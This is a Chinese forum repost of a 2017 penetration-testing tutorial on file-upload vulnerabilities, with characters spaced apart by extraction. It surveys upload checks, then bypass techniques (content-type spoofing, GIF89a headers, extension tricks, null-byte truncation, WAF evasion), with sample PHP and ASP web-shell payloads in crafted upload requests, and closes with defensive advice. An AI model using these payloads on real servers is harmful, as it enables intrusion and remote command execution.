搜索

[20817] 2017-07-12_文件上传漏洞（绕过姿势）

文档创建者：s7ckTeam
浏览次数：7
最后更新：2025-01-18
2017-07-12_文件上传漏洞（绕过姿势） 文 件 上 传 漏 洞 （ 绕 过 姿 势 ） L e m o n S e c   2 0 1 7 - 0 7 - 1 2 F r o m : h t t p : / / t h i e f . o n e / 2 0 1 6 / 0 9 / 2 2 / % E 4 % B 8 % 8 A % E 4 % B C % A 0 % E 6 % 9 C % A 8 % E 9 % A 9 % A C % E 5 % A 7 % B F % E 5 % 8 A % B F % E 6 % B 1 % 8 7 % E 6 % 8 0 % B B - % E 6 % A C % A 2 % E 8 % B F % 8 E % E 8 % A 1 % A 5 % E 5 % 8 5 % 8 5 / 文 件 上 传 漏 洞 可 以 说 是 日 常 渗 透 测 试 用 得 最 多 的 一 个 漏 洞 ， 因 为 用 它 获 得 服 务 器 权 限 最 快 最 直 接 。 但 是 想 真 正 把 这 个 漏 洞 利 用 好 却 不 那 么 容 易 ， 其 中 有 很 多 技 巧 ， 也 有 很 多 需 要 掌 握 的 知 识 。 俗 话 说 ， 知 己 知 彼 方 能 百 战 不 殆 ， 因 此 想 要 研 究 怎 么 防 护 漏 洞 ， 就 要 了 解 怎 么 去 利 用 。 此 篇 文 章 主 要 分 三 部 分 ： 总 结 一 些 常 见 的 上 传 文 件 校 验 方 式 ， 以 及 绕 过 校 验 的 各 种 姿 势 ， 最 后 对 此 漏 洞 提 几 点 防 护 建 议 。 （ 根 据 个 人 经 验 总 结 ， 欢 迎 补 充 纠 错 ~ ~ ） 文 件 上 传 校 验 姿 势 客 户 端 j a v a s c r i p t 校 验 （ 一 般 只 校 验 后 缀 名 ） 服 务 端 校 验 文 件 头 c o n t e n t - t y p e 字 段 校 验 （ i m a g e / g i f ） 文 件 内 容 头 校 验 （ G I F 8 9 a ） 后 缀 名 黑 名 单 校 验 后 缀 名 白 名 单 校 验 自 定 义 正 则 校 验 W A F 设 备 校 验 （ 根 据 不 同 的 W A F 产 品 而 定 ） 1 . 客 户 端 校 验 　 　 一 般 都 是 在 网 页 上 写 一 段 j a v a s c r i p t 脚 本 ， 校 验 上 传 文 件 的 后 缀 名 ， 有 白 名 单 形 式 也 有 黑 名 单 形 式 。 　 　 判 断 方 式 ： 在 浏 览 加 载 文 件 ， 但 还 未 点 击 上 传 按 钮 时 便 弹 出 对 话 框 ， 内 容 如 ： 只 允 许 上 传 . j p g / . j p e g / . p n g 后 缀 名 的 文 件 ， 而 此 时 并 没 有 发 送 数 据 包 。 2 . 服 务 端 校 验 2 . 1   c o n t e n t - t y p e 字 段 校 验 　 　 这 里 以 P H P 代 码 为 例 ， 模 拟 w e b 服 务 器 端 的 校 验 代 码 < ? p h p i f ( $ _ F I L E S [ ' u s e r f i l e ' ] [ ' t y p e ' ]   ! =   " i m a g e / g i f " )     # 这 里 对 上 传 的 文 件 类 型 进 行 判 断 ， 如 果 不 是 i m a g e / g i f 类 型 便 返 回 错 误 。 { e c h o   " S o r r y ,   w e   o n l y   a l l o w   u p l o a d i n g   G I F   i m a g e s " ; e x i t ; } $ u p l o a d d i r   =   ' u p l o a d s / ' ; $ u p l o a d f i l e   =   $ u p l o a d d i r   .   b a s e n a m e ( $ _ F I L E S [ ' u s e r f i l e ' ] [ ' n a m e ' ] ) ; i f   ( m o v e _ u p l o a d e d _ f i l e ( $ _ F I L E S [ ' u s e r f i l e ' ] [ ' t m p _ n a m e ' ] ,   $ u p l o a d f i l e ) ) {
e c h o   " F i l e   i s   v a l i d ,   a n d   w a s   s u c c e s s f u l l y   u p l o a d e d . n " ; }   e l s e   { e c h o   " F i l e   u p l o a d i n g   f a i l e d . n " ; } ? > 可 以 看 到 代 码 对 上 传 文 件 的 文 件 类 型 进 行 了 判 断 ， 如 果 不 是 图 片 类 型 ， 返 回 错 误 。 2 . 2   文 件 头 校 验 　 　 可 以 通 过 自 己 写 正 则 匹 配 ， 判 断 文 件 头 内 容 是 否 符 合 要 求 ， 这 里 举 几 个 常 见 的 文 件 头 对 应 关 系 ： （ 1 ）     . J P E G ; . J P E ; . J P G ， ” J P G G r a p h i c   F i l e ” （ 2 ）     . g i f ， ” G I F   8 9 A ” （ 3 ）     . z i p ， ” Z i p   C o m p r e s s e d ” （ 4 ）     . d o c ; . x l s ; . x l t ; . p p t ; . a p r ， ” M S   C o m p o u n d   D o c u m e n t   v 1   o r   L o t u s   A p p r o a c h   A P R f i l e ” 文 件 上 传 绕 过 校 验 姿 势 客 户 端 绕 过 （ 抓 包 改 包 ） 服 务 端 绕 过 文 件 类 型 文 件 头 文 件 后 缀 名 配 合 文 件 包 含 漏 洞 绕 过 配 合 服 务 器 解 析 漏 洞 绕 过 C M S 、 编 辑 器 漏 洞 绕 过 配 合 操 作 系 统 文 件 命 名 规 则 绕 过 配 合 其 他 规 则 绕 过 W A F 绕 过 1 . 客 户 端 绕 过 　 　 可 以 利 用 b u r p 抓 包 改 包 ， 先 上 传 一 个 g i f 类 型 的 木 马 ， 然 后 通 过 b u r p 将 其 改 为 a s p / p h p / j s p 后 缀 名 即 可 。 2 . 服 务 端 绕 过 2 . 1   文 件 类 型 绕 过 　 　 我 们 可 以 通 过 抓 包 ， 将 c o n t e n t - t y p e 字 段 改 为 i m a g e / g i f P O S T   / u p l o a d . p h p   H T T P / 1 . 1 T E :   d e f l a t e , g z i p ; q = 0 . 3 C o n n e c t i o n :   T E ,   c l o s e H o s t :   l o c a l h o s t U s e r - A g e n t :   l i b w w w - p e r l / 5 . 8 0 3 C o n t e n t - T y p e :   m u l t i p a r t / f o r m - d a t a ;   b o u n d a r y = x Y z Z Y C o n t e n t - L e n g t h :   1 5 5 - - x Y z Z Y
C o n t e n t - D i s p o s i t i o n :   f o r m - d a t a ;   n a m e = " u s e r f i l e " ;   f i l e n a m e = " s h e l l . p h p " C o n t e n t - T y p e :   i m a g e / g i f   ( 原 为   C o n t e n t - T y p e :   t e x t / p l a i n ) < ? p h p   s y s t e m ( $ _ G E T [ ' c o m m a n d ' ] ) ; ? > - - x Y z Z Y - 2 . 2   文 件 头 绕 过 　 　 在 木 马 内 容 基 础 上 再 加 了 一 些 文 件 信 息 ， 有 点 像 下 面 的 结 构 G I F 8 9 a < ? p h p   p h p i n f o ( ) ;   ? > 2 . 3   文 件 后 缀 名 绕 过 前 提 ： 黑 名 单 校 验 黑 名 单 检 测 ： 一 般 有 个 专 门 的   b l a c k l i s t   文 件 ， 里 面 会 包 含 常 见 的 危 险 脚 本 文 件 。 绕 过 方 法 ： （ 1 ） 找 黑 名 单 扩 展 名 的 漏 网 之 鱼   -   比 如   a s a   和   c e r   之 类 （ 2 ） 可 能 存 在 大 小 写 绕 过 漏 洞   -   比 如   a S p   和   p H p   之 类 能 被 解 析 的 文 件 扩 展 名 列 表 ： j s p     j s p x     j s p f a s p     a s a     c e r     a s p x p h p     p h p     p h p 3     p h p 4 e x e     e x e e 3 . 配 合 文 件 包 含 漏 洞 前 提 ： 校 验 规 则 只 校 验 当 文 件 后 缀 名 为 a s p / p h p / j s p 的 文 件 内 容 是 否 为 木 马 。 绕 过 方 式 ： （ 这 里 拿 p h p 为 例 ， 此 漏 洞 主 要 存 在 于 P H P 中 ） （ 1 ） 先 上 传 一 个 内 容 为 木 马 的 t x t 后 缀 文 件 ， 因 为 后 缀 名 的 关 系 没 有 检 验 内 容 ； （ 2 ） 然 后 再 上 传 一 个 . p h p 的 文 件 ， 内 容 为 < ? p h p   I n c l u d e ( “ 上 传 的 t x t 文 件 路 径 ” ) ; ? > 此 时 ， 这 个 p h p 文 件 就 会 去 引 用 t x t 文 件 的 内 容 ， 从 而 绕 过 校 验 ， 下 面 列 举 包 含 的 语 法 ： # P H P         < ? p h p   I n c l u d e ( " 上 传 的 t x t 文 件 路 径 " ) ; ? > # A S P         < ! - - # i n c l u d e   f i l e = " 上 传 的 t x t 文 件 路 径 "   - - > # J S P         < j s p : i n c l d e   p a g e = " 上 传 的 t x t 文 件 路 径 " / > o r < % @ i n c l u d e   f i l e = " 上 传 的 t x t 文 件 路 径 " % > 4 . 配 合 服 务 器 解 析 漏 洞 详 细 可 参 考 ： h t t p : / / t h i e f . o n e / 2 0 1 6 / 0 9 / 2 1 / 服 务 器 解 析 漏 洞 / 5 . 配 合 操 作 系 统 文 件 命 令 规 则 （ 1 ） 上 传 不 符 合 w i n d o w s 文 件 命 名 规 则 的 文 件 名 　 　 t e s t . a s p . 　 　 t e s t . a s p ( 空 格 ) 　 　 t e s t . p h p : 1 . j p g 　 　 t e s t . p h p : : $ D A T A 　 　 s h e l l . p h p : : $ D A T A … … . 会 被 w i n d o w s 系 统 自 动 去 掉 不 符 合 规 则 符 号 后 面 的 内 容 。 （ 2 ） l i n u x 下 后 缀 名 大 小 写
在 l i n u x 下 ， 如 果 上 传 p h p 不 被 解 析 ， 可 以 试 试 上 传 p H p 后 缀 的 文 件 名 。     l i n u x 大 小 写 敏 感 ， 除 非 在 系 统 有 配 置 ， 对 大 小 写 都 解 析 ， 可 以 尝 试 对 p h p 改 成 大 写 。 6 . C M S 、 编 辑 器 漏 洞 （ 1 ） C M S 漏 洞 ： 比 如 说 J C M S 等 存 在 的 漏 洞 ， 可 以 针 对 不 同 C M S 存 在 的 上 传 漏 洞 进 行 绕 过 。 （ 2 ） 编 辑 器 漏 洞 ： 比 如 F C K ， e w e b e d i t o r 等 ， 可 以 针 对 编 辑 器 的 漏 洞 进 行 绕 过 。 这 两 方 面 的 漏 洞 以 后 单 独 成 文 汇 总 ， 这 里 点 到 为 止 。 7 . 配 合 其 他 规 则 （ 1 ） 0 x 0 0 截 断 ： 基 于 一 个 组 合 逻 辑 漏 洞 造 成 的 ， 通 常 存 在 于 构 造 上 传 文 件 路 径 的 时 候 　 　 t e s t . p h p ( 0 x 0 0 ) . j p g 　 　 t e s t . p h p % 0 0 . j p g 　 　 路 径 / u p l o a d / 1 . p h p ( 0 x 0 0 ) ， 文 件 名 1 . j p g ， 结 合 / u p l o a d / 1 . p h p ( 0 x 0 0 ) / 1 . j p g 伪 代 码 演 示 ： n a m e =   g e t n a m e ( h t t p r e q u e s t )   / / 假 如 这 时 候 获 取 到 的 文 件 名 是   h e l p . a s p . j p g ( a s p   后 面 为   0 x 0 0 ) t y p e   = g e t t y p e ( n a m e )                 / / 而 在   g e t t y p e ( ) 函 数 里 处 理 方 式 是 从 后 往 前 扫 描 扩 展 名 ， 所 以 判 断 为   j p g i f ( t y p e   = =   j p g ) S a v e F i l e T o P a t h ( U p l o a d P a t h . n a m e ,   n a m e )       / / 但 在 这 里 却 是 以   0 x 0 0   作 为 文 件 名 截 断 / / 最 后 以   h e l p . a s p   存 入 路 径 里 8 . W A F 绕 过 8 . 1   垃 圾 数 据 　 　 有 些 主 机 W A F 软 件 为 了 不 影 响 w e b 服 务 器 的 性 能 ， 会 对 校 验 的 用 户 数 据 设 置 大 小 上 限 ， 比 如 1 M 。 此 种 情 况 可 以 构 造 一 个 大 文 件 ， 前 面 1 M 的 内 容 为 垃 圾 内 容 ， 后 面 才 是 真 正 的 木 马 内 容 ， 便 可 以 绕 过 W A F 对 文 件 内 容 的 校 验 ； 当 然 也 可 以 将 垃 圾 数 据 放 在 数 据 包 最 开 头 ， 这 样 便 可 以 绕 过 对 文 件 名 的 校 验 。 可 以 将 垃 圾 数 据 加 上 C o n t e n t - D i s p o s i t i o n 参 数 后 面 ， 参 数 内 容 过 长 ， 可 能 会 导 致 w a f 检 测 出 错 。 8 . 2   f i l e n a m e 针 对 早 期 版 本 安 全 狗 ， 可 以 多 加 一 个 f i l e n a m e 或 者 将 f i l e n a m e 换 位 置 ， 在 I I S 6 . 0 下 如 果 我 们 换 一 种 书 写 方 式 ， 把 f i l e n a m e 放 在 其 他 地 方 ：
8 . 3   P O S T / G E T 有 些 W A F 的 规 则 是 ： 如 果 数 据 包 为 P O S T 类 型 ， 则 校 验 数 据 包 内 容 。 此 种 情 况 可 以 上 传 一 个 P O S T 型 的 数 据 包 ， 抓 包 将 P O S T 改 为 G E T 。 8 . 4   以 上 方 式 针 对 W A F ， 以 上 介 绍 的 服 务 器 解 析 漏 洞 、 文 件 包 含 漏 洞 等 都 可 以 尝 试 绕 过 。 — — — — — — — — — — — — — — — — 2 0 1 7 . 2 . 6 更 新 — — — — — — — — — — — — — — — — – 8 . 5   利 用 w a f 本 身 缺 陷 删 除 实 体 里 面 的 C o n t e n t - T y p e 字 段 第 一 种 是 删 除 C o n t e n t 整 行 ， 第 二 种 是 删 除 C 后 面 的 字 符 。 删 除 掉 o n t e n t - T y p e :   i m a g e / j p e g 只 留 下 c ， 将 . p h p 加 c 后 面 即 可 ， 但 是 要 注 意 额 ， 双 引 号 要 跟 着 c . p h p 。 正 常 包 ： C o n t e n t - D i s p o s i t i o n :   f o r m - d a t a ;   n a m e = " i m a g e " ;   f i l e n a m e = " 0 8 5 7 3 3 u y k w u s q c s 8 v w 8 w k y . p n g " C o n t e n t - T y p e :   i m a g e / p n g 构 造 包 ： C o n t e n t - D i s p o s i t i o n :   f o r m - d a t a ;   n a m e = " i m a g e " ;   f i l e n a m e = " 0 8 5 7 3 3 u y k w u s q c s 8 v w 8 w k y . p n g C . p h p " 删 除 C o n t e n t - D i s p o s i t i o n 字 段 里 的 空 格 （ 1 ） 增 加 一 个 空 格 导 致 安 全 狗 被 绕 过 案 列 （ 2 ） ： C o n t e n t - T y p e :   m u l t i p a r t / f o r m - d a t a ;   b o u n d a r y = — — — — — — — — — 4 7 1 * * * * 1 1 4 1 1 7 3 * * * * 5 2 5 * * * * 9 9 尝 试 在 b o u n d a r y 后 面 加 个 空 格 或 者 其 他 可 被 正 常 处 理 的 字 符 ： b o u n d a r y =   — — — — — — — — — 4 7 1 * * * * 1 1 4 1 1 7 3 * * * * 5 2 5 5 5 0
修 改 C o n t e n t - D i s p o s i t i o n 字 段 值 的 大 小 写 B o u n d a r y 边 界 不 一 致 每 次 文 件 上 传 时 的 B o u n d a r y 边 界 都 是 一 致 的 ： C o n t e n t - T y p e :   m u l t i p a r t / f o r m - d a t a ;   b o u n d a r y = - - - - - - - - - - - - - - - - - - - - - - - - - - - 4 7 1 * * * * 1 1 4 1 1 7 3 * * * * 5 2 5 * * * * 9 9 C o n t e n t - L e n g t h :   2 5 3 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 4 7 1 * * * * 1 1 4 1 1 7 3 * * * * 5 2 5 * * * * 9 9 C o n t e n t - D i s p o s i t i o n :   f o r m - d a t a ;   n a m e = " f i l e 1 " ;   f i l e n a m e = " s h e l l . a s p " C o n t e n t - T y p e :   a p p l i c a t i o n / o c t e t - s t r e a m < % e v a l   r e q u e s t ( " a " ) % > - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 4 7 1 * * * * 1 1 4 1 1 7 3 * * * * 5 2 5 * * * * 9 9 - - 但 如 果 容 器 在 处 理 的 过 程 中 并 没 有 严 格 要 求 一 致 的 话 可 能 会 导 致 一 个 问 题 ， 两 段 B o u n d a r y 不 一 致 使 得 w a f 认 为 这 段 数 据 是 无 意 义 的 ， 可 是 容 器 并 没 有 那 么 严 谨 ： W i n 2 k 3   +   I I S 6 . 0   +   A S P 文 件 名 处 回 车 多 个 C o n t e n t - D i s p o s i t i o n 在 I I S 的 环 境 下 ， 上 传 文 件 时 如 果 存 在 多 个 C o n t e n t - D i s p o s i t i o n 的 话 ， I I S 会 取 第 一 个 C o n t e n t - D i s p o s i t i o n 中 的 值 作 为 接 收 参 数 ， 而 如 果 w a f 只 是 取 最 后 一 个 的 话 便 会 被 绕 过 ， W i n 2 k 8   +   I I S 7 . 0   +   P H P
利 用 N T F S   A D S 特 性 A D S 是 N T F S 磁 盘 格 式 的 一 个 特 性 ， 用 于 N T F S 交 换 数 据 流 。 在 上 传 文 件 时 ， 如 果 w a f 对 请 求 正 文 的 f i l e n a m e 匹 配 不 当 的 话 可 能 会 导 致 绕 过 。 其 他 情 况 补 充 文 件 重 命 名 绕 过 如 果 w e b 程 序 会 将 f i l e n a m e 除 了 扩 展 名 的 那 段 重 命 名 的 话 ， 那 么 还 可 以 构 造 更 多 的 点 、 符 号 等 等 。
特 殊 的 长 文 件 名 绕 过 文 件 名 使 用 非 字 母 数 字 ， 比 如 中 文 等 最 大 程 度 的 拉 长 ， 不 行 的 话 再 结 合 一 下 其 他 的 特 性 进 行 测 试 ： s h e l l . a s p ; 王 王 王 王 王 王 王 王 王 王 王 王 王 王 王 王 王 王 王 王 王 王 王 王 王 王 王 王 王 王 王 王 王 王 王 王 王 王 王 王 王 王 王 王 王 王 王 王 王 王 王 王 王 王 王 王 王 王 王 王 王 王 王 王 王 王 王 王 王 王 王 王 王 . j p g 反 删 除 将 下 图 f i l e 1 改 成 了 f i l e 4 ， 这 样 就 不 会 把 这 个 文 件 删 除 了 。 （ J C M S 漏 洞 ） 文 件 校 验 的 几 点 建 议 文 件 扩 展 名 服 务 端 白 名 单 校 验 。 文 件 内 容 服 务 端 校 验 。 上 传 文 件 重 命 名 。 隐 藏 上 传 文 件 路 径 。 　 　 以 上 几 点 ， 可 以 防 御 绝 大 多 数 上 传 漏 洞 ， 但 是 需 要 跟 服 务 器 容 器 结 合 起 来 。 如 果 解 析 漏 洞 依 然 存 在 ， 那 么 没 有 绝 对 的 安 全 。 查 看 更 多 文 章 ， 关 注 下 方 二 维 码
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理